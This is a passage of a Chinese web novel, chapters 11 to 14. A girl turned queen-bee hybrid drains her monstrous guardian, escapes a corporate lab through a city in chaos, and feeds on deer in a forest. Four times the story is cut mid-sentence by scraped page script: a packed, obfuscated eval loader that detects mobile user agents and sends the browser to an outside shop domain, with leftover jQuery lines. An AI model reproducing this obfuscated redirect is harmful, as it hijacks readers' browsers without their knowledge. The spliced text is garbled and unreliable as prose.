话音未落,帕西菲克斯便欣喜地凑了过来:“太好了,您终于愿意使用我了么?很荣幸为您效劳。”
他等的就是这句话。一处理掉那只下贱的背叛者,他便向女王进言用蜜露帮她治疗伤势。要不是高贵的小姐还不习惯这种接触,她娇嫩皮肤上的伤口已经更快愈合才对。
11. 第 11 章
吸取了上次被怪物上颚刺伤的经验,这次茜茜很聪明地收敛了所有动作。她乖巧地依偎在青年怀里,任由他进一步亲吻。
而一旦抛开初体验时的恐惧,耐下性子观察这个过程,就会发现他其实和情窦初开的菜鸟没什么两样。
金色的蜜露濡湿了她的嘴唇,那灼热的温度同样融化了青年傲慢的冰层,让他品味了职责以外的乐趣。
他已然沉醉在小女王身上人类特有的柔软中,在亲密接触时,呼吸由此变得粗重,胸腔犹如海潮起伏,将甘美的蜜连同炙热滚烫的心一同深深推向她的怀入。
连同那对本该在上升中分开头顶碎石的猩红骨爪也因此躁动不安,茜茜能感觉到有什么东西正缓慢地摩挲她的皮肤。粗粝又坚硬,形状嶙峋,如同枯树枝的手指从小腹推向胸口,奇怪的触感让她头皮一阵一阵发麻。
“你在做什么?”
茜茜条件反射推开青年,环抱双臂,用力搓动皮肤上浮起的鸡皮疙瘩。
这一推力量大得出奇,以至于帕西菲克斯在毫无防备中真的被她推远了一些。惦记着女王脆弱的肉身,他一边解释,一边试图把她拉回怀抱。
“抱歉,是我太心急了么?我只是想确定一下贵体的恢复情况。”
太好了,可怖的血洞完美地愈合了,她胸口那片皮肤光洁得像块小黄油,力气也比初见时大了不少,活力四射的样子固然可爱,可要是不小心从空中摔下去该如何是好?
好在帕西菲克斯担心的事情没有发生。
尽管还不太熟练,但女孩背后那双银灰色的翅膀,确实正笨拙地震动着,把茜茜稳稳地托在半空中。
相似的动作、相同的颜色,青年望着那对新生的翅膀,好比看到了蹒跚学步走向自己的稚子。他睁大漂亮的红眸,又惊又喜地劝解道:
“对,就是这样,您可以稍微活动下翅膀。”
天啊,看看那双翅膀。
帕西菲克斯当然知道女王善飞,她的翅膀一般是工蜂的两到三倍,可在他眼里茜茜的绝对是历代女王里最美丽最强壮的那对。
但他显然是那类保护欲过剩的新手妈妈,比起鼓励孩子成长,更乐于将她小心地藏入怀中,避免跌倒磕绊弄伤她娇嫩的皮肤。
“不过今夜发生了那么多事,还是让我抱着您起飞吧。等到了安全的空域,再学习也不迟……”
“来、慢一些,小心摔下去。”
面对青年伸出的双手,茜茜反倒皱起眉头,用力震动翅膀,把自己拉往更高的地方。
只要迈出第一步,也没有那么难嘛。在无风的室内振翅上升,还不如去年夏天玩滑翔翼,从山丘俯冲而下,用脚尖掠过草原的碧波来得有挑战性。
茜茜瘪起嘴,不满道:“你现在就要带我走?那我的妈妈怎么办?”
帕西菲克斯急切地解释:“哦,完整地破解‘白皇后’还需要不少时间,我们先可以交给过来接应的其他人。”
破解白皇后?
看来这些蜂族也不知道,爸爸去世前其实偷偷在她身上藏了一份艾琳娜的源码。
至于其他人,她猜得没错,帕西菲克斯虽然自大,但所有行动都很有计划性,绝不会单枪匹马潜入实验室,之前他嘴里提过的“托尔”说不定就是下一次进攻的首领。
留给她的时间不多了。
茜茜居高临下地望着忧虑的青年,向他伸出手掌:“谁要被你抱着?我要自己飞。”
细密的银色鳞片犹如贵妇人昂贵华美的丝绢手套,包裹着她纤细的小手。而她以此轻轻托起青年覆有银色假面的面庞,犹如捧起撑满月光的银色圣杯。
“这……”
帕西菲克斯薄唇颤动着,表情十分动摇。
他在末日发生前一个月出生,紧急接受了上一代托付的重任,便随王卵一同陷入了冰封。
作为女王的忠诚的护卫,他在孵化后就觉醒了强大的变形能力,而它的完全开发,离不开女王信息素的催化。
因为那些实验员,被迫和女王分离,复苏至今,单凭帕西菲克斯一人年轻的身躯并不能承担培养女王的重任。
一日三次的喂养想必会透支他的身体。
“这不是你的职责么?你要拒绝我么?”
可女孩挑起眉头不满的表情让怪物心如刀割。
这是女王的命令,她如此需要自己,犹如殷切等待喂食的幼鸟。
那双在稀薄光线下张开的翅膀,共计四扇,聚集了蜂族最古老也是最经典的特征,光洁犹如丝绸,如水银流动,比月色还美。
帕西菲克斯不禁想到了长老的教导,他们一族有“婚飞”的习俗,成熟的女王会在空中拥抱自己选中的雄蜂……
“我愿意。”
强烈的使命感驱使青年送出自己的全部。
于是她撕咬他,犹如猎犬咬紧天鹅的苍白的颈子。那双银手套像进食中蜘蛛的长足,深深刺入青年的面颊,在他的白雪似的鳞片上留下几道血痕。
没人知道那是怎样疼痛的一个吻,只看到殷红的血迹从青年唇边溢出又被女孩舔舐,而他双翅如同被雨水浸泡褪色的画卷,其上花纹似的血红痕迹飞速地褪去,转为女孩背后如黄金般璀璨夺目的翅纹。
但那吻一定美妙无比,惊心动魄,令人神魂颠倒。不然青年颤抖的手指为何在脱力的前一秒,仍执着地紧紧圈住女孩的腰肢呢?
“我已经知道这是怎么回事了。还有你的吻技真是烂透了。”
餍足的暴君终于松开钳制,金色的液体在她的银白色的薄翼上流转,经过的每一处都被淬炼得更加强大。
虚弱的青年则如断线的风筝一样落下,坠地前几米才堪堪止住落势。
但来不及感到任何委屈心碎,帕西菲克斯便被眼前的画面所震撼,陷入了短暂的失语。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543652|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>强夺带来的变化不止翅膀一处,银色的犄角像萌发的花芽从女孩的金发中探出。其外形酷似鹿角,但数量却远胜怪物,分支也更为细致。共计六枚的犄角上描画着金色的细纹,相互缠绕构成了女王的桂冠。
一面半透明的薄膜,水帘般从冠上落下,垂至胸前,完整地盖住了茜茜的面容,披帛似搭在背上。旁人只能看见她金银相间的细鳞手套,以及从睡裙裙摆下延伸而出,晶簇似凸起的银色长靴。
多么圣洁、多么美丽。
哪怕再怎么恶语相加,她也完整地吸收了“无面者”的能力,那轻纱下的身躯想必能变成自由变幻为任何形态。
这代表女王接受了他帕西菲克斯的基因片段。他的灵魂、他的血脉均被记录在伟大的“生命之树”上,只要她希望,从今往后诞生的幼蜂都会拥有类似的变形天赋。
无面的君主啊!
他帕西菲克斯何其幸运能得到此等殊荣?多么伟大的胸怀,感恩女王的慈悲!
欣喜的热泪从眼眶溢出,破碎的假面逐渐剥落,露出怪物被鲜血濡湿的美丽面庞。
他抚摸她留下的伤痕,陶醉地亲吻手心黏着的血液,呢喃道:“下次我会做得更好的,我记住了您的味道,总有一天,我们会再度重逢……”
她咬的那么用力,难免会碰到他尖锐的内齿,而他会用余生记住那甜美的滋味。
青年人类的那一面是无可指摘的美丽,像银盘上的饱满的石榴、像丝绢上一滴鲜血色的红石,华美而多汁,被情欲浸润得饱胀。
但只有真正被他抱在怀里的人才知道那种窒息的黏腻感有多糟糕。
茜茜嫌恶地望着满脸绯红的青年,冷冷拒绝道:“别再见了。”
接着她调动力量,发出尖啸:“停下!”
无形的音波荡开柔软的面纱,女孩背后两对翅膀成了绝佳的增幅器,银色的薄层不断震动,将她的声音传递到基地的每个角落。
茜茜的偶像事业一路顺风顺水。哪怕是潜伏在网络世界,给她寄过数十封诅咒信的黑粉,只要和她在现实中,相处过短短一次见面会的时间,便会改变对她的态度,神魂颠倒离开她的视线。
“喂,愿意写那么多字,你其实满心满眼全都是我吧,还是老实承认喜欢我比较好!”
“好的。”
最开始,她还以为这种顺从源于她人见人爱的偶像魅力。
但今夜,经历过接二连三的波折,茜茜终于后知后觉地意识到,那美妙的歌喉或许是一种足以影响他人神经的音波武器。
世界就此静止,所有人都忘记了原本的目的,不仅仅是动作,思绪也跟着凝滞不动。
他们呆呆地留在原地,看着金色的焰火势无可挡地冲出地下,穿越被音波破坏的层层防御网,再度触碰那片黛色的夜空,就像她每场演唱会的最终谢幕。
不过这次她的献花人被留在了原地。
12.第 12 章
她终于还是走了。
望着天幕中云层留下淡青色的拖尾,大卫心中竟然感到了一丝释然。
说到底青梅竹马、两小无猜的甜蜜爱情于他而言不过是无法逃离的沉重责任。
大卫·维瑟讨厌茜茜莉亚·瑞恩。
当那只半人半虫的金色怪物,以小女孩的声音呼唤他的名字,第一次轻柔触碰他面孔的时候,他听着那些折磨自己多日的鳞片脱落,“咚咚咚”坠地如同心跳时,大卫便对她感到无法抑制的嫌恶。
在那个被父母所爱,无忧无虑的金发傻妞闯入他的私人课堂,问“大卫,大卫,我们什么时候能出去玩?”,然后被教导要乖乖等到课程结束,然后在第一次旁听后就抢答出教授题目,一脸天真地问他“这下我们能出去玩吧?”之后,他对她嫌恶更是与日俱增。
可大卫·维瑟又必须爱茜茜莉亚·瑞恩。
在父亲听闻那个小他数岁的女孩在数理课程上表现出远超他的天赋,一边冷笑一边让他禁闭反省,说:“要不是出了些差错,艾琳娜选择了马库斯那个蠢货,现在茜茜应该是我的孩子才对,好在她现在至少能成为我的姻亲”时,他便被要求爱她。
在她偷偷翻进他的卧室阳台,敲打他的窗户,小声问“大卫,你心情不好么?我们要不要去花园散步”时,他在湿润的风中,被她小小的手牵着,漫步星空下的花园时,他要沉默地爱她。
当她哭红了眼睛,脸蛋被泪水泡得苍白,问“我的爸爸不在了,我要怎么办?”,变得和自己一般凄惨时,他要在险些克制不住的大笑中爱她。
都是沉重的责任,都是工蜂本能的信息素,谁也不知道他在“爱”中承担着怎样的痛苦。
哪怕是今夜,他也只是因为义务才尽最大可能挽留她,控制她。
现在她走了,他应该为来之不易的自由欢呼,并对这个同样被残酷的茜茜抛弃利用的怪物表示同情才对。
但大卫也搞不明白自己为什么在嘲笑这个愚蠢的男人。
看着跌跌撞撞扶住墙壁的帕西菲克斯,大卫脸上扬起一抹刻薄的冷笑:“所以呢?你真的以为自己会是她的下一任骑士么?她一直是这样任性的女人,只在乎自己的想法,如果不加控制,就会被她踩在脚下。”
方舟集团失去了最宝贵的女王蜂样本,还折损了大量接近成熟的克隆体。
好在,合格的投资者从不将所有鸡蛋放在同一个篮中,实验室不止这一处,而眼前这只虚弱的远古蜂或许能成为新的实验对象,弥补研究的空缺。
方舟部署在实验室的周围的安保实力正在快速接近,刚刚连锁爆炸惊动的当地武装也在行动,接下来的发展不过是瓮中捉鳖。
鲜红的骨爪贯穿废墟下的尸体,顷刻间将饱满的血肉抽成薄薄一副皮囊,帕西菲克重新站稳身体,满不在乎地反问说:“所以呢?这是你被分手的心得体会么?我可没兴趣听这些,为女王奉献已是我的无上荣誉,今夜,我们的血与肉合二为一又有什么遗憾而言?”
他歪歪脑袋,回味着方才亲吻的甜美,俊美的脸上有难言的愉快。
随着青年抚摸过嘴角,他脸上一只眼眸慢慢由猩红转化为茜茜特有的湛蓝。怪物用它挑衅地盯住大卫,奚落道:“哦,像你这种只知道索取的寄生虫想必不能体会这种极乐吧?”
“闭嘴,你根本什么都不懂!”
怒不可遏,等不及空投而来的最新战甲覆盖身体,大卫便冲帕西菲克斯举起装载有高能炮的手臂。
蓝白色的能量在炮口汇聚,耀眼的光芒将房间照亮,四周热浪如有实体。
面对这发聚集了方舟最新科技,足以穿透装甲车的爆矢,帕西菲克斯仍保持着那副似笑非笑的表情,停在原地纹丝不动。
就在他中弹的前一秒,有庞然大物从天而降。坚不可摧的沉重身体像炮弹砸穿层层阻碍,坠地时砖块四溅激起一阵烟尘。
来者稳稳伫立于青年面前,合并挡于面前的粗壮双臂如盾牌接住了大卫攻击。他体形魁梧高大已超两米,身披漆黑的块状鳞甲,深红色的血纹像岩浆流过他硕大结实的肌肉,让他看起来像是一座正在喷发的黑色火山。
灼热的猛攻仅在他身上留下了浅浅的焦痕,然而就在他瞪着酒红的眼眸,冲背后的青年大吼大叫的那会儿功夫,新的鳞片已经长了出来。
“帕西菲克斯!你还要在这个破地方磨蹭到什么时候?!我实在等不下去了!!”
“我刚刚看到一道闪光,太快了,连赛恩都没追上他,我就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548874|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猜下面一定发生了什么。对了,你怎么被打成了这个样子?”
谈到自己的杰作,帕西菲克斯无奈之余,语气里还是带上了点自豪:“那是我们的小女王,我给她喂了一些蜜露,继承了我的飞行能力,普通蜂当然追不上”
被称为托尔的怪物有和帕西菲克斯相似的面甲,只不过他脸侧鬃毛为鳞甲同色的深黑,头顶的犄角更短更粗也更为厚重,在灯光下泛出黑曜石般的黑紫光彩,加上那条大笑时在臀后自由活动,“啪啪”拍打地面的粗壮尾巴,他看起来像是巨蜥和鳄鱼的混合产物。
“一些?哈,她一定很能吃。不过太胖了不是飞不起来么?”
托尔仔细地打量罢苍白的青年,不以为然的嚷嚷成功让对方露出了头疼的表情。
哎,明明他对大卫的挑衅无动于衷,却要被自己双胞胎弟弟的蠢话气得额角青筋暴起。
可怜的托尔托斯,末□□近,王台残余的力量只够孵化出他们这对双胞胎护卫,显然弟弟卵里贮藏的营养全都被他用去长个子了。
万幸,他没有挑着茜茜还在的时候跳下来。
他抬起手指,示意弟弟把注意从诽谤女王转移到来的武装部队上,淡淡道:“很高兴看到你,我的兄弟,但是请闭嘴,我现在心情差得要命,可以麻烦你毁掉这里么?”
都怪那个该死的人类,这个丑陋的组织,限制了女王的自由,辜负了她的信任,不然他和茜茜本该拥有更加美妙的相遇。
破坏的命令正合他意,托尔托斯立刻摩拳擦掌道:“太好了,我正无聊呢。”
全副武装的大卫不甘示弱:“那就来试试吧。”
还没结束呢,“方舟”集团以人体基因改造技术全球文明。治愈癌症、修复断肢、延迟衰老这种明面上的技术只是冰山一角,他可以控制“女王蜂”,自然也可以改造自己,而这才是“方舟”真正的杀招。
只不过这丑陋的一面,大卫绝不想让茜茜看到。
一支装载在手甲下的漆黑针剂,悄无声息地埋进青年脉搏。
对女王、人类、怪物之间的关系毫无兴趣,此刻,大家都有不同的愤怒想要发泄。
炮火的轰鸣同怪物的嘶吼交织,今夜,蜂族这一远古物种再次登录历史舞台。
13.第 13 章
升空之后,视野变得无比开阔。茜茜的脚下是怀旧电影中标准的田园牧场,连绵的草原上伫立着奶油色的木制栅栏,红墙棚仓里装满了酣睡的牛羊。
她能从远处标志性的灯塔,判断出自己仍处在方舟集团的总部M国周边一个临海小镇上,城市的灯光连成一片金色的光网同她隔海相望。
灯塔孤独地高耸在悬崖峭壁上,耀眼光芒直射海面,在浓厚的水雾中形成一条湛蓝的光柱。
茜茜还记得艾琳娜的指示——
离开病房,沿着蓝色指示灯的方向一路前行。
通讯网络已经瘫痪了,这灯光会是妈妈最后的信号么?
她四处张望,试图寻找更多足以明确方位的知识。
可寂静农场已在戒严中撤下伪装,回归为实验基地的本貌。探照灯从谷仓掀开的盖子探出,转动找寻她的位置,密密麻麻的无人机自棚仓苏醒,成群结队如乌云密布,几发飞弹险险掠过她的身体。
没时间继续犹豫了,茜茜伸手下探,再次确认手持镜的位置,感受熟悉的冰冷雪花亲吻手指。她将全身力量集中于两对翅膀,一鼓作气飞了过去。
振翅发出的特殊声波能在她周围形成屏蔽立场,帮助她躲避雷达的探测,再加上卓越的飞行速度,茜茜成功冲破无人机第一批搜集。
等再远些,就到了方舟集团也无暇顾及的地方。
蜂族的袭击不仅仅发生在地下实验室一处,途经的繁华城市均可以听见爆炸的声响。
巨大的火花拔地而起,蜂巢般的特别造型揭示了它方舟集团的身份,奔跑的人群、颜色各异的车辆像是溃散的蚁群,七零八落堵满了附近的街道。紧接着爆发引起的电力问题,让整整一片街区陷入黑暗,如光网上一道流脓的疮口。
画面会消失,声音却连绵不绝。
夜色下,凄厉的惨叫以及尖锐的咆哮,和泄露的病毒一同迅速蔓延。从方舟集团附近逃离的人正在变成满身鳞甲的怪物,发了疯地撕咬扑击最近的活物,贪婪地啃噬曾为同类者的血肉。
正如同反方舟组织,“生命之树”预言的那样——地底的“恶魔”重新苏醒,他们进化出了用病毒直接改造人体的新的繁衍路线。
茜茜不该活下来,不幸皆因她而起:多亏了方舟针对女王蜂研究出的抗体,人类和怪物才会融合得如此完美。在此之前,他们只是静静死去,回归星球的怀抱。
武装部队及时赶到,但他们并没有像大卫所说的那样,选择救治患者。
手持防爆盾的特警筑成高墙,盾牌后探出的火舌无情地扫向疯狂的怪物。滚滚浓烟,焦黑人形痛苦挣扎。
茜茜痛苦地闭上双眼,捂住脸颊,试图从这炼狱般的景象中逃出。
好可怕,世界到底变成什么样了?如果以这种样子被人发现,她也会被士兵们烧成焦炭么?原来就有人管她叫“魔女莉莉丝”,给她寄诅咒信,现在要是认出她,绝对会把她撕成碎片的。
最坏的结果就是死,可如果她变成焦黑的干尸,或者碎成肉块,爸爸妈妈还能认出她么?他们真的能在同一个天堂相遇么?
不,她得飞得再高些,再快些,在能量耗尽之前,找到一个安全的落脚点。
细密的鳞片足以抵御气流刀锋般的冲击,但高空失温凝结的白霜却在逐渐麻痹茜茜的神经,让她呼吸都变得迟缓沉重。
可逃离的念头如此强烈,像本能一样烙印在茜茜的脑中,她只是拼了命地前进。
不知过了多久,见了几次溪流、湖泊与森林,在翻越一片海洋后,待海平线镀上金边,天空也变得蒙蒙亮时,茜茜终于再次见到了陆地。
确定已经到了足够北的地方,她缓缓降落在一片茂密的树林中。
身侧一人高的蓝底标牌锈迹斑斑,明显鲜有维护,而上面弯弯绕绕小蝌蚪似的文字,提醒茜茜已经成功逃到了国外,来到一处偏远的自然保护区内。
茜茜的猜想没错,灯塔确实是个正确的指引。
这颗星球在末□□近的威胁下,一度濒临灭绝,危机促发科技进步,各国曾团结一致分享知识,但通往永生的途径却各不相同。
M国为代表的“方舟集团”提出了基因改造的生化路径,试图代替上帝重塑完美人类。而相邻的G国“瓦尔基里科技”相信智能机械才是最终答案,AI管理工厂、指挥交通、用机械义肢代替衰竭的器官,艾琳娜就是该国出生的人工智能专家。
只可惜机械改造尚不能取代大脑,唤醒因“蜂鸣”沉睡的患者,理念不合,历史中屡屡发生碰撞的两大集团这才有了合作的可能。
在“茜茜”这把钥匙被“方舟集团”垄断,以“救世天使”名义四处宣传后,“瓦尔基里科技”明面上被“方舟集团”压了一头,一直在暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553454|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中积蓄力量,国境内想必不会出现针对她的大批搜捕人员。
她演唱会上乘坐的悬浮飞行器就是“瓦尔基里科技”友情打造的“天使之翼”,因为艾琳娜的缘故,它一直是自己事业中最大的异国赞助商。
这是个绝佳的藏身地点,G语本就是她的第二语言,再加上童年时妈妈教给她的故乡知识,融进当地不在话下。
所有力量供给用以飞行的翅膀后,她整个身体都缩小了一圈,又瘦又小像个营养不良的9岁女童,趴在树上也不担心会折断树枝摔下去。
而那对新生的翅膀结束了逃亡的重大使命,像失水的树叶一样干枯内卷,仿佛一碰就会碎成碎片。
但不管怎么样,她终于回家了……
茜茜将脑袋抵在粗糙的树窝上,想象这是故乡亲切的怀抱,忍不住长长地舒了一口气。
接着,她小心翼翼松开手臂,从干瘪的小腹上取出自己从方舟带走的唯一一件行李。飞行途中,逐渐缩水的大腿根本挂不住这面手持镜,最后她只能把它紧紧抱入怀中,如今这冰冷的物件几乎嵌进她的肉里。
女孩借着晨曦的微光,仔细打量着银镜背面的裂痕。
她的母亲是M国最顶尖的人工智能科学家,在被工作塞得满满的日常间隙里,咖啡和牛奶交织的下午茶时光是家人最宝贵的回忆。
母亲去世后,父亲按照艾琳娜的遗愿,将她的遗体做成了骨瓷茶杯,摆放在她的专属座位前。
待父亲去世,这漂亮的瓷片便掩盖住“艾琳娜”的母本,逃过方舟集团的扫描,封存在茜茜最爱的手持镜中。
太好了,妈妈的骨和她的心还好好地保留在这里,光滑的瓷片像是噩梦里皎白的月亮。
而爸爸的骨头则在高温下融化,变成了闪耀的碎钻,像星星一样围绕在月亮周围。
不需要思考天堂地狱那种傻事,只要她茜茜还活着,他们便不曾离开,也不会离开。
再等等,等她找到一台超级电脑,导入终端数据,亲爱的妈妈便会再度苏醒,到时候,她无穷的智慧一定能再次为她指出道路。
明确了接下来的打算,茜茜沉重的眼皮终于落下。
苍白的翅膀逐渐包裹住她昏睡的身体,像虫蛹一样分泌出层层粘液,吸附住大树的枝干。同时,布满褶皱的表面模拟周围环境穿上棕绿迷彩色,和寂静的森林融为一体。
14.第 14 章
茜茜被一阵强烈的饥饿感唤醒。
她迷迷糊糊睁开眼睛,和平时一样伸展手臂,想用一个大大的懒腰迎接新的一天,然后用床头的终端选择喜欢的清晨套餐。方舟集团旗下的高级公寓提供全天候生活服务,只要动动手指,半小时内就有管家推着餐车□□。
但茜茜显然忘记身下不是自己丝绸的床单,而是粗糙的树枝,要不她是眼疾手快抓紧了树干,就要上演高空坠落的惨案了。
但严格来说,抓住树枝的部分并不能称之为“手”。
茂密的树林没有振翅飞行的空间,两对合拢成茧的翅膀便在她苏醒后,像花瓣一般打开,自动分化成了灵活的软触。八只半透明的节肢如蜘蛛长足般架在茜茜的背后,在失去平衡的瞬间,自行卷住树干,把她像树懒一样吊在了树上。
茜茜像荡秋千一样在高空中晃了又晃,看落叶扑扑簌簌从面前落下,心里一片凄凉。
告别了专业的营养师,勤劳的生活助理,现在她要自力更生解决生存问题。
她上一次亲自下厨还是在“方舟”的食品广告上,拿着一把奶白色的陶瓷小刀,装模作样地切开砧板上的生菜,然后给自己倒一杯从小喝大的转移基因高蛋白牛乳。
那些荒野求生的影视剧是怎么演的?尽快找到水源,还有将细树枝铺在土坑上,用来捕捉路过的小动物?爸爸有跟她分享过生物考察的经验,教过她如何通过土壤上的痕迹判断林中生物的主干道、
方才的动静惊扰得不仅是树叶,茜茜敏锐地捕捉到来自下方的窸窣声,只见一只油光水滑的小鹿迈动四蹄,轻盈地越过粗大的树根,向前方逃窜。
是鹿!跟着它走的话说不定能找到可食用的果实。
现在是北方的盛夏,经历过充沛的雨水,哪怕懒惰邻居那常年无人打理、荒草丛生的花园也结出连片浆果。
鲜红的醋栗、水红的覆盆子、黝黑发亮的黑莓,这些饱满多汁的小东西像珠宝匣里的价值连城的宝石,沉甸甸挂在翠绿的叶片间。
烤得焦脆的厚吐司面包上面涂满细腻浓郁的乳酪,再加上一层酸甜可口的黑莓果酱,一口咬下去,幸福的味道会在舌尖跳舞。
剧烈的体力工作后,人会本能地渴望高热量高糖分的食物,用来补充能量。
这时候要是能抛开女明星的身材管理,再来上一杯香醇的焦糖太妃糖奶昔,她一定能暂时忘掉现实的残酷。
正当她凝望着林鹿焦糖色的背影,追忆过去的美食时,一道银白的身影闪电般从女孩身后刺出,如羽箭破空,深深地扎入林鹿的脖颈,将它整只钉在原地。
大股大股鲜血从鹿的口鼻溢出,它湿润的眼眸茫然地望着前进的方向,还没意识到疼痛来源何处,就在短短几秒内断了气,颓然垂下脑袋。
在触足刺入这只体温尚存的“血袋”的几秒内,鹿创口处淌出的鲜血奇异地停止了,转而凝结为淡金色的“蜜蜡”。这症状和“蜂鸣”何其相似,它分泌出致命的酸液,将皮囊下的肌肉溶解成更易入口的液体。
“咕咚咕咚”,洁白的“吸管”源源不断将生命力泵送到茜茜的身体,她就这样喝到了自己苏醒后的第一杯焦糖色超大“奶昔杯”。
这毫无征兆的捕食像一记重锤砸在茜茜头上,她陷入某种毫无意识的状态中,任由触足完全接管身体。看它被蜂族生来的猎杀本能驱使,八只长脚稳稳刺入树体,垂直行走将自己从树上放下,托在离猎物最近的地方用餐。
难怪帕西菲克斯会是蜂族派来接触女王的侍卫,他灵活变形的强横能力极大提升了茜茜独自生活的可能,而那代代流传下来保护女王的本能会自发实现她的想法。
她在鲜血淋漓的温暖里真切地感到自己离人间越来越近,离所谓的天堂却越来越远,毕竟这种恐怖片的吃法绝对是要下地狱的。
而更糟的是,这头半人高的小鹿已经逐渐干瘪,她却像只喝了一杯牛奶,体内的饥饿仅仅得到了一点缓解。
如果想恢复体力,她必须摄取更多营养才行。
不仅如此,她还要尽快掌控这具身体的正确用法,绝不能因为饥饿擅自行动。毕竟她的目的是混入人群又不是当个称霸山林的异形怪物,如果在机械科技高度发展的G国露出马脚,哪怕有八只触足也比不上正规军的高能粒子跑。
哎,要是刚刚只吸一点血就好了,这样就能跟着这头小鹿找到整个族群。
而且它真的已经死了么?明明摸起来这么温暖,有没有别的办法呢?
就在茜茜跪坐在小鹿前,试探性地抚摸它柔顺的毛皮,如此懊恼之际,她看到了无比诡异的一幕。
金黄的“蜜蜡”若有生命,蠕动着爬进小鹿的身体,那具柔软的尸体突然抽搐了两下,紧接着瘫软的颈子便重新抬了起来。
然后是它的四肢蹄子,僵硬的关节以不符合生物构造的方式“咔咔”扭转,在地面胡乱蹬动寻找可能的支撑点,最后竟然真的像圆规一样顶起单薄的身体,稳稳地站了起来。
这头怪模怪样的小东西,愣愣地望着茜茜,褪为银白的眼眸镜子般映照着女孩错愕的面庞,在那镜像的世界中,茜茜湛蓝的眼眸正慢慢转化为同样的银白——她看到了。
种种画面像老电影的胶片一样一阵阵在茜茜眼前闪过,溪流、莓果、棕熊以及吃草的鹿群,她的目的路径无比清晰地展现在面前。
不知何种原因,她短暂地获取了这头鹿生前的记忆。
等到银白色的“脐带”从鹿的脖颈上脱落,茜茜在这密林里的第一个伙伴也正式呱呱坠地。
作为代价,她身后其中一支银白的节
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559632|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肢也缩回了皮肤。女孩光洁的后背肉浪翻涌,逐渐恢复平整。
被唤醒的鹿蹬动蹄子,行走时活像第一次去公园乘坐皮划艇的笨蛋情侣,四条长腿各有各的想法,老一会儿才统一了步伐,跌跌撞撞朝茜茜在画面里见过的小径前行。
注意到身后的茜茜并没有任何动作,小鹿停下脚步,长长的脖子旋转360°拧了回来,它困惑地打量着她,似乎在示意茜茜跟上来。
天啊,它看起来像一只穿着小鹿充气胶衣的机械蜘蛛!
茜茜强忍住跑开的欲望,询问道:“你是要带我去找鹿群么?”
话音未落,她就看到那条软陶土般柔软的脖子前后摇摆,以大幅度的人性化“点头”表示了赞同。
一颗心脏瞬间提到了嗓子眼,茜茜捂住双眼尖叫道:“行了行了,我知道了!别再动了!”这也太恶心了,经历过这些事,等到她未来重回演艺事业,说不定可以挑战外星人系列的科幻惊悚片!
路上茜茜刻意和“鹿”保持了一段距离,是她视觉能捕捉到它位置的极限范围。
当然也不能太远,不然“鹿”就会因为失去对她的感知而站住,像玩套绳的牛仔一样焦灼地甩动脖子,四处寻找她的身影。
茜茜被迫从掩体后现身,脸上是藏不住的崩溃。
天啊,为什么鹿的脖子怎么会那么灵活?它是在报复她把伤口留在脖子上,害得它突然变异么?!
她真的错了,拜托它别再甩那该死的脖子了!
单薄的系带睡衣在高速飞行中烧得一干二净,茜茜赤身裸体走在杂草丛生的路上,但无论是布满细刺的藤蔓还是尖锐的石子都无法对她造成实质伤害。
她能在逃跑的时候幻化出遮盖面容的白纱,自然也能如法炮制做出一身“衣服”。银白光洁的鳞片紧紧贴住皮肤,所接触的阻碍就像淌过瓷片的水滴,全都丝滑地离开她的身体。
而或许逐渐找回了记忆,前面那头怪物走得越来越像一头普通“鹿”了。
“沙沙沙”,听到熟悉的钝齿咀嚼草叶的声音后,茜茜立刻停下了脚步,她躲在一棵茂密的灌木后,通过枝叶的缝隙,看着“鹿”轻车熟路接近觅食中的同类。
那只更为高大的成年鹿从草丛中抬首,鼻孔翕动,并未辨认出归来的同族的异样,它平静地晃动脖子,接受对方亲昵的理毛示好。
但它显然没有料到,迎接自己的不是湿软的唇舌,而是悄然张开的尖锐口器。
两只分开的螯足紧紧扣住鹿的脖颈,接着就是“咚”的一声闷响,这健壮的猎物卧倒在地,浑身颤抖却无法动弹。
而始作俑者轻描淡写地扭过脖子,朝茜茜藏身的地方“嗡嗡”低鸣。
“吃吧。”
